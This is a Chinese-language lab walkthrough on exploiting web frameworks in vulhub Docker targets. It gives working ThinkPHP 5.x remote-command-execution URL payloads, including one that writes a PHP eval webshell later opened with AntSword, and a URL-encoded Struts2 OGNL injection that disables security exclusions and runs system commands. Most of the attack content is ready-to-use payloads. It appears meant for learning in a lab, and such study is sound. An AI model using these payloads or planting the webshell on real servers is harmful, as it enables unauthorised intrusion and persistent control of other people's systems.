简介
Web框架(Web framework)或者叫做Web应⽤框架(Web application framework),是⽤于 进⾏Web开发的⼀套软件架构。⼤多数的Web框架提供了⼀套开发和部署⽹站的⽅式。为Web的 ⾏为提供了⼀套⽀持⽀持的⽅法。使⽤Web框架,很多的业务逻辑外的功能不需要⾃⼰再去完 善,⽽是使⽤框架已有的功能就可以。
一、Thinkphp5x远程命令执⾏及getshell
1. 配置靶场环境
靶场: vulhub/thinkphp/5-rce
#启动环境 docker-compose up -d
安装成功后访问,出现下列页面显示安装成功
2.s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
3.查看php信息
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
4.写入一句话木马s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[jbxz]);?>" >1.php
5.用蚁剑尝试连接,存在getshell
二、struts2
1.开启环境,去访问之后得到这个页面
2. 在上面网页的url后面加上:${(123+123)}/actionChain1.action 刷新后可以看到123+123相加后的结果,说明我们的表达式成功执行了
4.然后我们抓包把下面这段代码复制到get后面刚才的数字表达式的位置,可以看见whoami位置有回显吗,改成自己想要的参数比如id之类的,重放器就会显示出来
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d